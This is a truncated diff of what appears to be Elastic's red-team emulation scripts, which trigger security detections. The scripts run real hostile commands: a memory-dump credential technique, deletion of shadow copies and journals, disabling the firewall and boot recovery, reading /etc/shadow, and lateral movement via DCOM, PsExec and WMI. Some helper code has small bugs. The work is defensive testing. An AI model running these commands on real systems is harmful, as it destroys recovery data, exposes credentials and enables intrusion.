remove_file(path): + if os.path.exists(path): + log('Removing %s' % path, log_type='-') + # Try three times to remove the file + for _ in range(3): + try: + os.remove(path) + except OSError: + time.sleep(0.25) + else: + return + + +def remove_directory(path): + if os.path.exists(path): + if os.path.isdir(path): + log('Removing directory {:s}'.format(path), log_type='-') + shutil.rmtree(path) + else: + remove_file(path) + + +def is_64bit(): + return os.environ.get('PROCESSOR_ARCHITECTURE', "") in ('x64', 'AMD64') + + +def remove_files(*paths): + for path in paths: + remove_file(path) + + +def clear_web_cache(): + log("Clearing temporary files", log_type="-") + execute(["RunDll32.exe", "InetCpl.cpl,", "ClearMyTracksByProcess", "8"], hide_log=True) + time.sleep(1) + + +def serve_web(ip=None, port=None, directory=BASE_DIR): + handler = SimpleHTTPRequestHandler + + ip = ip or get_ip() + + if port is not None: + server = TCPServer((ip, port), handler) + else: + # Otherwise, try to find a port + for port in range(8000, 9000): + try: + server = TCPServer((ip, port), handler) + break + except socket.error: + pass + + def server_thread(): + log("Starting web server on http://{ip}:{port:d} for directory {dir}".format(ip=ip, port=port, dir=directory)) + os.chdir(directory) + server.serve_forever() + + # Start this thread in the background + thread = threading.Thread(target=server_thread) + thread.setDaemon(True) + thread.start() + + time.sleep(0.5) + return server, ip, port + + +def patch_file(source_file, old_bytes, new_bytes, target_file=None): + target_file = target_file or target_file + log("Patching bytes %s [%s] --> %s [%s]" % (source_file, binascii.b2a_hex(old_bytes), + target_file, binascii.b2a_hex(new_bytes))) + + with open(source_file, "rb") as f: + contents = f.read() + + patched = contents.replace(old_bytes, new_bytes) + + with open(target_file, "wb") as f: + f.write(patched) + + +def patch_regex(source_file, regex, new_bytes, target_file=None): + regex = regex.encode('ascii') + new_bytes = new_bytes.encode('ascii') + target_file = target_file or source_file + log("Patching by regex %s --> %s" % (source_file, target_file)) + + with open(source_file, "rb") as f: + contents = f.read() + + matches = re.findall(regex, contents) + + log("Changing %s -> %s" % (', '.join('{}'.format(m) for m in matches), new_bytes)) + contents = re.sub(regex, new_bytes, contents) + + with open(target_file, "wb") as f: + f.write(contents) + + +def wchar(s): + return s.encode('utf-16le') + + +def find_remote_host(): + log("Searching for remote Windows hosts") + _, stdout = execute("net view", hide_log=True) + hosts = re.findall(r"\\\\([\w\d\._-]+)", stdout) + + # _, current_user = execute("whoami", hide_log=True) + pending = {} + + log("Discovery %d possible hosts" % len(hosts)) + for name in hosts[:MAX_HOSTS]: + name = name.lower() + if name.split('.')[0] == HOSTNAME.split('.')[0]: + continue + + # log("Checking if %s has remote admin permissions to %s" % (current_user, name)) + dev_null = open(os.devnull, "w") + p = subprocess.Popen('sc.exe \\\\%s query' % name, + stdout=dev_null, + stderr=dev_null, + stdin=subprocess.PIPE) + pending[name] = p + + if len(pending) > 0: + # See which ones return first with a success code, and use that host + for _ in range(20): + for hostname, pending_process in sorted(pending.items()): + if pending_process.poll() is None: + pending_process.stdin.write(os.linesep) + if pending_process.returncode == 0: + # Now need to get the IP address + ip = get_ipv4_address(hostname) + if ip is not None: + log('Using remote host %s (%s)' % (ip, hostname)) + return ip + pending.pop(hostname) + time.sleep(0.5) + + log("Unable to find a remote host to pivot to. Using local host %s" % HOSTNAME, log_type="!") + return get_ip() + + +def get_ipv4_address(hostname): + if re.match(IP_REGEX, hostname): + return hostname + + code, output = execute(["ping", hostname, "-4", "-n", 1], hide_log=True) + if code != 0: + return None + + addresses = re.findall(IP_REGEX, output) + if len(addresses) == 0: + return None + return addresses[0] + + +def find_writeable_directory(base_dir): + for root, dirs, files in os.walk(base_dir): + for d in dirs: + subdir = os.path.join(base_dir, d) + try: + test_file = os.path.join(subdir, "test_file") + f = open(test_file, "w") + f.close() + os.remove(test_file) + return subdir + except IOError: + pass + + +def check_system(): + return USER_NAME == "system" or USER_NAME.endswith("$") + + +PS_EXEC = get_path("bin", "PsExec.exe") + + +def run_system(arguments=None): + if check_system(): + return None + + if arguments is None: + arguments = [sys.executable, os.path.abspath(sys.argv[0])] + sys.argv[1:] + + log("Attempting to elevate to SYSTEM using PsExec") + if not os.path.exists(PS_EXEC): + log("PsExec not found", log_type="-") + return MISSING_PSEXEC + + p = subprocess.Popen([PS_EXEC, "-w", os.getcwd(), "-accepteula", "-s"] + arguments) + p.wait() + code = p.returncode + if code == ACCESS_DENIED: + log("Failed to escalate to SYSTEM", "!") + return code + + +def write_reg(hive, key, value, data, data_type=None, restore=True, pause=False, append=False): + # type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None + with temporary_reg(hive, key, value, data, data_type, restore, pause, append): + pass + + +def read_reg(hive, key, value): # type: (str, str, str) -> (str, str) + winreg = get_winreg() + + if isinstance(hive, strings): + hives = {'hklm': winreg.HKEY_LOCAL_MACHINE, + 'hkcu': winreg.HKEY_LOCAL_MACHINE, + 'hku': winreg.HKEY_USERS, + 'hkcr': winreg.HKEY_CLASSES_ROOT} + hive = hives[hive.lower()] + + try: + hkey = winreg.CreateKey(hive, key.rstrip("\\")) + old_data, old_type = winreg.QueryValueEx(hkey, value) + except WindowsError as e: + # check if the key already exists + if e.errno != 2: + raise + + return None, None + + return old_data, old_type + + +@contextlib.contextmanager +def temporary_reg(hive, key, value, data, data_type="sz", restore=True, pause=False, append=False): + # type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None + winreg = get_winreg() + + if isinstance(hive, strings): + hives = {'hklm': winreg.HKEY_LOCAL_MACHINE, + 'hkcu': winreg.HKEY_CURRENT_USER, + 'hku': winreg.HKEY_USERS, + 'hkcr': winreg.HKEY_CLASSES_ROOT} + hive = hives[hive.lower()] + + if isinstance(data_type, strings): + attr = 'REG_' + data_type.upper() + data_type = getattr(winreg, attr) + + if data_type is None: + data_type = winreg.REG_SZ + + key = key.rstrip('\\') + hkey = winreg.CreateKey(hive, key) + exists = False + old_data = None + old_type = None + + if hkey: + try: + old_data, old_type = winreg.QueryValueEx(hkey, value) + exists = True + except WindowsError as e: + # check if the key already exists + exists = False + old_data, old_type = None, None + if e.errno != 2: + raise + + if append and exists: + # If appending to the existing REG_MULTI_SZ key, then append to the end + if not isinstance(data, list): + data = [data] + + if isinstance(old_data, list): + data = old_data + data + + data_string = ','.join(data) if isinstance(data, list) else data + log("Writing to registry %s\\%s -> %s" % (key, value, data_string)) + winreg.SetValueEx(hkey, value, 0, data_type, data) + stored, code = winreg.QueryValueEx(hkey, value) + + if data != stored: + log("Wrote %s but retrieved %s" % (data, stored), log_type="-") + + # Allow code to execute within the context manager 'with' + try: + yield + + finally: + if restore: + time.sleep(0.5) + + if not exists: + # If it didn't already exist, then delete it + log("Deleting %s\\%s" % (key, value), log_type="-") + winreg.DeleteValue(hkey, value) + else: + # Otherwise restore the value + data_string = ','.join(old_data) if isinstance(old_data, list) else old_data + log("Restoring registry %s\\%s -> %s" % (key, value, data_string), log_type="-") + winreg.SetValueEx(hkey, value, 0, old_type, old_data) + + hkey.Close() + print("") + + if pause: + time.sleep(0.5) + + +def enable_logon_auditing(host='localhost', verbose=True, sleep=2): + """Enable logon auditing on local or remote system to enable 4624 and 4625 events.""" + if verbose: + log('Ensuring audit logging enabled on {}'.format(host)) + + auditpol = 'auditpol.exe /set /subcategory:Logon /failure:enable /success:enable' + enable_logging = "Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList '{}'".format( + host, auditpol) + command = ['powershell', '-c', enable_logging] + enable = execute(command) + + # additional time to allow auditing to process + time.sleep(sleep) + return enable + + +def print_file(path): + print(path) + if not os.path.exists(path): + print('--- NOT FOUND ----') + else: + print('-' * 16) + with open(path, 'r') as f: + print(f.read().rstrip()) + + print('') diff --git a/rta/comsvcs_dump.py b/rta/comsvcs_dump.py new file mode 100644 index 000000000..b14903cbd --- /dev/null +++ b/rta/comsvcs_dump.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Memory Dump via Comsvcs +# RTA: comsvcs_dump.py +# ATT&CK: T1117 +# Description: Invokes comsvcs.dll with rundll32.exe to mimic creating a process MiniDump. + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Memory Dump via Comsvcs") + pid = os.getpid() + common.execute(["powershell.exe", "-c", "rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll", + "MiniDump", "{} dump.bin full".format(pid)]) + time.sleep(1) + common.remove_file("dump.bin") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dcom_lateral_movement_with_mmc.py b/rta/dcom_lateral_movement_with_mmc.py new file mode 100644 index 000000000..4ebdf5931 --- /dev/null +++ b/rta/dcom_lateral_movement_with_mmc.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: DCOM Lateral Movement with MMC +# RTA: dcom_lateral_movement_with_mmc.py +# ATT&CK: T1175 +# Description: Execute a command to simulate lateral movement using Distributed Component Object Model (DCOM) with MMC + +import sys + +from . import common + + +@common.requires_os("windows") +def main(remote_host=None): + remote_host = remote_host or common.get_ip() + common.log("DCOM Lateral Movement with MMC") + + common.log("Attempting to move laterally to {}".format(remote_host)) + remote_host = common.get_ipv4_address(remote_host) + common.log("Using IP address {}".format(remote_host)) + + # Prepare PowerShell command for DCOM lateral movement + + ps_command = """ + $dcom=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','{remote_host}')); + $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\cmd.exe',$null,'whoami','7'); + $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\calc.exe',$null,$null,'7'); + $dcom.quit(); + """.format(remote_host=remote_host) + + command = ["powershell", "-c", ps_command] + + # Execute command + common.execute(command, timeout=15, kill=True) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/delete_bootconf.py b/rta/delete_bootconf.py new file mode 100644 index 000000000..77686d899 --- /dev/null +++ b/rta/delete_bootconf.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Boot Config Deletion With bcdedit +# RTA: delete_bootconf.py +# ATT&CK: T1107 +# Description: Uses bcdedit.exe to backup the current boot configuration, and then to delete the current boot +# configuration, finally restoring the original. + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # Messing with the boot configuration is probably not a great idea so create a backup: + common.log("Exporting the boot configuration....") + bcdedit = "bcdedit.exe" + backup_file = os.path.abspath("boot.cfg") + common.execute(["bcdedit.exe", "/export", backup_file]) + + # WARNING: this is a destructive command which might be super bad to run + common.log("Changing boot configuration", log_type="!") + common.execute([bcdedit, "/set", "{current}", "bootstatuspolicy", "ignoreallfailures"]) + common.execute([bcdedit, "/set", "{current}", "recoveryenabled", "no"]) + + # Restore the boot configuration + common.log("Restoring boot configuration from %s" % backup_file, log_type="-") + common.execute([bcdedit, "/import", backup_file]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/delete_catalogs.py b/rta/delete_catalogs.py new file mode 100644 index 000000000..4fac92e73 --- /dev/null +++ b/rta/delete_catalogs.py @@ -0,0 +1,25 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Catalog Deletion with wbadmin.exe +# RTA: delete_catalogs.py +# ATT&CK: T1107 +# Description: Uses wbadmin to delete the backup catalog. + +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + warning = "Deleting the backup catalog may have unexpected consequences. Operational issues are unknown." + common.log("WARNING: %s" % warning, log_type="!") + time.sleep(2.5) + + common.execute(["wbadmin", "delete", "catalog", "-quiet"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/delete_usnjrnl.py b/rta/delete_usnjrnl.py new file mode 100644 index 000000000..ab45b7f45 --- /dev/null +++ b/rta/delete_usnjrnl.py @@ -0,0 +1,24 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: USN Journal Deletion with fsutil.exe +# RTA: delete_usnjrnl.py +# ATT&CK: T1107 +# Description: Uses fsutil to delete the USN journal. + +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + message = "Deleting the USN journal may have unintended consequences" + common.log("WARNING: %s" % message, log_type="!") + time.sleep(2.5) + common.execute(["fsutil", "usn", "deletejournal", "/d", "C:"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/delete_volume_shadows.py b/rta/delete_volume_shadows.py new file mode 100644 index 000000000..8d39b65d5 --- /dev/null +++ b/rta/delete_volume_shadows.py @@ -0,0 +1,23 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Volume Shadow Copy Deletion with vssadmin and wmic +# RTA: delete_volume_shadow.py +# ATT&CK: T1107 +# Description: Uses both vssadmin.exe and wmic.exe to delete volumne shadow copies. + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Deleting volume shadow copies...") + common.execute(["vssadmin.exe", "delete", "shadows", "/for=c:", "/oldest", "/quiet"]) + # Create a volume shadow copy so that there is at least one to delete + common.execute(["wmic.exe", "shadowcopy", "call", "create", "volume=c:\\"]) + common.execute(["wmic.exe", "shadowcopy", "delete", "/nointeractive"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/disable_windows_fw.py b/rta/disable_windows_fw.py new file mode 100644 index 000000000..162d6214b --- /dev/null +++ b/rta/disable_windows_fw.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Disable Windows Firewall +# RTA: disable_windows_fw.py +# ATT&CK: T1089 +# Description: Uses netsh.exe to backup, disable and restore firewall rules. + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("NetSH Advanced Firewall Configuration", log_type="~") + netsh = "netsh.exe" + + rules_file = os.path.abspath("fw.rules") + + # Check to be sure that fw.rules does not already exist from previously running this script + common.remove_file(rules_file) + + common.log("Backing up rules") + common.execute([netsh, "advfirewall", "export", rules_file]) + + common.log("Disabling the firewall") + common.execute([netsh, "advfirewall", "set", "allprofiles", "state", "off"]) + + common.log("Undoing the firewall change", log_type="-") + common.execute([netsh, "advfirewall", "import", rules_file]) + + common.remove_file(rules_file) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/enum_commands.py b/rta/enum_commands.py new file mode 100644 index 000000000..21127d36f --- /dev/null +++ b/rta/enum_commands.py @@ -0,0 +1,73 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Common Enumeration Commands +# RTA: enum_commands.py +# ATT&CK: T1007, T1016, T1018, T1035, T1049, T1057, T1063, T1069, T1077, T1082, T1087, T1124, T1135 +# Description: Executes a list of administration tools commonly used by attackers for enumeration. + +import argparse +import random + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(args=None): + slow_commands = [ + "gpresult.exe /z", + "systeminfo.exe" + ] + + commands = [ + "ipconfig /all", + "net localgroup administrators", + "net user", + "net user administrator", + "net user /domain" + "tasklist", + "net view", + "net view /domain", + "net view \\\\%s" % common.get_ip(), + "netstat -nao", + "whoami", + "hostname", + "net start", + "tasklist /svc", + "net time \\\\%s" % common.get_ip(), + "net use", + "net view", + "net start", + "net accounts", + "net localgroup", + "net group", + "net group \"Domain Admins\" /domain", + "net share", + "net config workstation", + ] + + commands.extend(slow_commands) + + parser = argparse.ArgumentParser() + parser.add_argument('-s', '--sample', dest="sample", default=len(commands), type=int, + help="Number of commands to run, choosen at random from the list of enumeration commands") + args = parser.parse_args(args) + sample = min(len(commands), args.sample) + + if sample < len(commands): + random.shuffle(commands) + + common.log("Running {} out of {} enumeration commands\n".format(sample, len(commands))) + for command in commands[0:sample]: + + common.log("About to call {}".format(command)) + if command in slow_commands: + common.execute(command, kill=True, timeout=15) + common.log("[output surpressed]", log_type='-') + else: + common.execute(command) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/findstr_pw_search.py b/rta/findstr_pw_search.py new file mode 100644 index 000000000..a2137a01c --- /dev/null +++ b/rta/findstr_pw_search.py @@ -0,0 +1,21 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Recursive Password Search +# RTA: findstr_pw_search.py +# ATT&CK: T1081 +# Description: Recursively searches files looking for the string "password". + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + path = "c:\\rta" + common.log("Searching for passwords on %s" % path) + common.execute(["dir", path, "/s", "/b", "|", "findstr", "password"], shell=True, timeout=15) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/globalflags.py b/rta/globalflags.py new file mode 100644 index 000000000..639d5ae5a --- /dev/null +++ b/rta/globalflags.py @@ -0,0 +1,30 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Persistence using GlobalFlags +# RTA: globalflags.py +# ATT&CK: T1183 +# Description: Uses GlobalFlags option in Image File Execution Options to silently execute calc.exe after the monitored +# process (notepad.exe) is closed. + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Setting up persistence using Globalflags") + ifeo_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\netstat.exe" + spe_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\netstat.exe" + + with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), \ + common.temporary_reg(common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD), \ + common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"): + + common.log("Opening and closing netstat") + common.execute(["whoami"], shell=True) + common.execute(['taskkill', '/F', '/IM', 'netstat.exe']) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/installutil_network.py b/rta/installutil_network.py new file mode 100644 index 000000000..daf7c1751 --- /dev/null +++ b/rta/installutil_network.py @@ -0,0 +1,55 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Network Traffic from InstallUtil +# RTA: installutil_network.py +# ATT&CK: T1118 +# Description: Uses mock .NET malware and InstallUtil to create network activity from InstallUtil. + +import os +import sys + +from . import common + +MY_DOT_NET = common.get_path("bin", "mydotnet.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_DOT_NET) +def main(): + server, ip, port = common.serve_web() + common.clear_web_cache() + + target_app = "mydotnet.exe" + common.patch_file(MY_DOT_NET, common.wchar(":8000"), common.wchar(":%d" % port), target_file=target_app) + + install_util64 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe" + install_util86 = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe" + fallback = False + + if os.path.exists(install_util64): + install_util = install_util64 + elif os.path.exists(install_util86): + install_util = install_util86 + else: + install_util = None + fallback = True + + if not fallback: + common.clear_web_cache() + common.execute([install_util, '/logfile=', '/LogToConsole=False', '/U', target_app]) + + else: + common.log("Unable to find InstallUtil, creating temp file") + install_util = os.path.abspath("InstallUtil.exe") + common.copy_file(sys.executable, install_util) + common.execute([install_util, "-c", "import urllib; urllib.urlopen('http://%s:%d')" % (common.get_ip(), port)]) + common.remove_file(install_util) + + common.remove_file(target_app) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/iqy_file_writes.py b/rta/iqy_file_writes.py new file mode 100644 index 000000000..7860b0d1b --- /dev/null +++ b/rta/iqy_file_writes.py @@ -0,0 +1,54 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Suspicious IQY/PUB File Writes +# RTA: iqy_file_writes.py +# ATT&CK: T1140, T1192, T1193 +# Description: Generates four file writes related to file extensions (PUB, IQY) + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Suspicious File Writes (IQY, PUB)") + adobe_path = os.path.abspath("AcroRd32.exe") + msoffice_path = os.path.abspath("winword.exe") + browser_path = os.path.abspath("iexplore.exe") + common.copy_file(common.CMD_PATH, adobe_path) + common.copy_file(common.CMD_PATH, msoffice_path) + common.copy_file(common.CMD_PATH, browser_path) + common.log("Writing files") + + # write file as adobe, then run it + common.log("Creating a 'suspicious' executable") + bad_path = os.path.abspath("bad.exe") + + # PDF writing IQY file + fake_iqy = os.path.abspath("test.iqy") + common.execute([adobe_path, "/c", "echo", "test", ">", fake_iqy]) + + # PDF writing PUB file + fake_pub = os.path.abspath("test.pub") + common.execute([adobe_path, "/c", "echo", "test", ">", fake_pub]) + + # Winword writing IQY file + fake_doc_iqy = os.path.abspath("test_word.iqy") + common.execute([msoffice_path, "/c", "echo", "test", ">", fake_doc_iqy]) + + # Brwoser writing IQY file + fake_browser_iqy = os.path.abspath("test_browser.iqy") + common.execute([browser_path, "/c", "echo", "test", ">", fake_browser_iqy]) + + # cleanup + common.remove_files(adobe_path, bad_path, fake_iqy) + common.remove_files(adobe_path, bad_path, fake_pub) + common.remove_files(msoffice_path, bad_path, fake_doc_iqy) + common.remove_files(browser_path, bad_path, fake_browser_iqy) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/lateral_command_psexec.py b/rta/lateral_command_psexec.py new file mode 100755 index 000000000..f03ddbad7 --- /dev/null +++ b/rta/lateral_command_psexec.py @@ -0,0 +1,24 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: PsExec Lateral Movement +# RTA: lateral_command_psexec.py +# ATT&CK: T1035, T1077 +# Description: Runs PSExec to move laterally + +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +@common.dependencies(common.PS_EXEC) +def main(remote_host=None): + remote_host = remote_host or common.get_ip() + common.log("Performing PsExec to %s" % remote_host) + common.execute([common.PS_EXEC, "\\\\%s" % remote_host, "-accepteula", "ipconfig"]) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/lateral_commands.py b/rta/lateral_commands.py new file mode 100644 index 000000000..fbbf201f7 --- /dev/null +++ b/rta/lateral_commands.py @@ -0,0 +1,83 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Lateral Movement Commands +# RTA: lateral_commands.py +# ATT&CK: T1021, T1047, T1077, T1124, T1126 +# Description: Runs various Windows commands typically used by attackers to move laterally from the local machine. + +import os +import re +import sys + +from . import common + +MY_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP) +def main(remote_host=None): + remote_host = remote_host or common.get_ip() + common.log("Attempting to laterally move to %s" % remote_host) + + remote_host = common.get_ipv4_address(remote_host) + common.log("Using ip address %s" % remote_host) + + # Put the hostname in quotes for WMIC, but leave it as is + if not re.match(common.IP_REGEX, remote_host): + wmi_node = '"{}"'.format(remote_host) + else: + wmi_node = remote_host + + commands = [ + "sc.exe \\\\{host} create test_service binPath= %s" % MY_APP, + "sc.exe \\\\{host} config test_service binPath= c:\\windows\\system32\\ipconfig.exe", + "sc.exe \\\\{host} failure test_service command= c:\\windows\\system32\\net.exe", + "sc.exe \\\\{host} start test_service", + "sc.exe \\\\{host} delete test_service", + "wmic.exe /node:{wmi_node} process call create ipconfig.exe", + "wmic.exe /node:{wmi_node} path WIN32_USERACCOUNT where(name='vagrant') set passwordexpires='false'", + "net.exe time \\\\{host}", + "net.exe use \\\\{host}\\admin$", + "net.exe use \\\\{host}\\admin$ /delete", + "net.exe use \\\\{host}\\c$", + "net.exe use \\\\{host}\\c$ /delete", + ] + + for command in commands: + common.execute(command.format(host=remote_host, wmi_node=wmi_node)) + + _, whoami = common.execute(["whoami"]) + _, hostname = common.execute(["hostname"]) + + domain, user = whoami.lower().split("\\") + hostname = hostname.lower() + schtasks_host = remote_host + + # Check if the account is local or a domain + if domain in (hostname, "NT AUTHORITY"): + common.log("Need password for remote scheduled task in workgroup. Performing instead on %s." % common.get_ip()) + schtasks_host = common.get_ip() + + task_name = "test_task-%d" % os.getpid() + schtask_commands = [ + r"schtasks /s {host} /delete /tn {name} /f", + r"schtasks /s {host} /create /SC MONTHLY /MO first /D SUN /tn {name} /tr c:\windows\system32\ipconfig.exe /f", + + r"schtasks /s {host} /run /tn {name}", + r"schtasks /s {host} /delete /tn {name} /f", + + ] + + for command in schtask_commands: + command = command.format(host=schtasks_host, name=task_name) + common.execute(command) + + # Remote powershell + common.execute(["C:\\Windows\\system32\\wsmprovhost.exe", "-Embedding"], timeout=5, kill=True) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/linux_compress_sensitive_files.py b/rta/linux_compress_sensitive_files.py new file mode 100644 index 000000000..171743e9c --- /dev/null +++ b/rta/linux_compress_sensitive_files.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Compression of sensitive files +# RTA: linux_compress_sensitive_files.py +# Description: Uses built-in commands for *nix operating systems to compress known sensitive +# files, such as etc/shadow and etc/passwd +from . import common + + +@common.requires_os(common.LINUX) +def main(): + common.log("Compressing sensitive files") + files = ['totally-legit.tar', 'official-business.zip', 'expense-reports.gz'] + + # we don't want/need these to actually work, since the rule is only looking for command line, so no need for sudo + commands = [ + ['tar', '-cvf', files[0], '/etc/shadow'], + ['zip', files[1], '/etc/passwd'], + ['gzip', '/etc/group', files[2]] + ] + for command in commands: + try: + common.execute(command) + except OSError as exc: + # command doesn't exist on distro - the rule only needs one to trigger + # also means we will eventually need to explore per distro ground truth when we expand as counts will vary + common.log(str(exc)) + + +if __name__ == '__main__': + main() diff --git a/rta/linux_discovery_sensitive_files.py b/rta/linux_discovery_sensitive_files.py new file mode 100644 index 000000000..328f96295 --- /dev/null +++ b/rta/linux_discovery_sensitive_files.py @@ -0,0 +1,26 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Reading sensitive files +# RTA: linux_discovery_sensitive_files.py +# Description: Uses built-in commands for *nix operating systems to read known sensitive +# files, such as etc/shadow and etc/passwd +from . import common + + +@common.requires_os(common.LINUX) +def main(): + common.log("Reading sensitive files", log_type="~") + + # Launch an interactive shell with redirected stdin, to simulate interactive shell access + common.execute('/bin/sh', stdin=""" + cat /etc/sudoers + cat /etc/group + cat /etc/passwd + cat /etc/shadow + """) + + +if __name__ == '__main__': + main() diff --git a/rta/mac_office_descendant.py b/rta/mac_office_descendant.py new file mode 100644 index 000000000..cbb1c640b --- /dev/null +++ b/rta/mac_office_descendant.py @@ -0,0 +1,26 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Mac Descendant of an Office Application +# RTA: mac_office_descendant.py +# Description: Creates a suspicious process spawned from "Microsoft Word" + +import os + +from . import common + + +@common.requires_os(common.MACOS) +def main(): + common.log("Emulating Microsoft Word running enumeration commands") + office_path = os.path.abspath("Microsoft Word") + common.copy_file("/bin/sh", office_path) + + common.execute([office_path], stdin="whoami") + + common.remove_files(office_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/modification_of_wdigest_security_provider.py b/rta/modification_of_wdigest_security_provider.py new file mode 100644 index 000000000..0ac0d9cc6 --- /dev/null +++ b/rta/modification_of_wdigest_security_provider.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Modification of WDigest Security Provider +# RTA: modification_of_wdigest_security_provider.py +# ATT&CK: T1003 +# Description: Sets WDigest\UseLogonCredential 1 temporarily + +# TODO: Add context to what this does. Does it temporarily disable something? + +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Modification of WDigest Security Provider") + + # TODO: See if common.temporory_reg should be used instead + common.write_reg(common.HKLM, + "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 1, + common.DWORD, restore=False, pause=True) + + common.write_reg(common.HKLM, + "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0, + common.DWORD, restore=False) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/ms_office_drop_exe.py b/rta/ms_office_drop_exe.py new file mode 100644 index 000000000..085f59009 --- 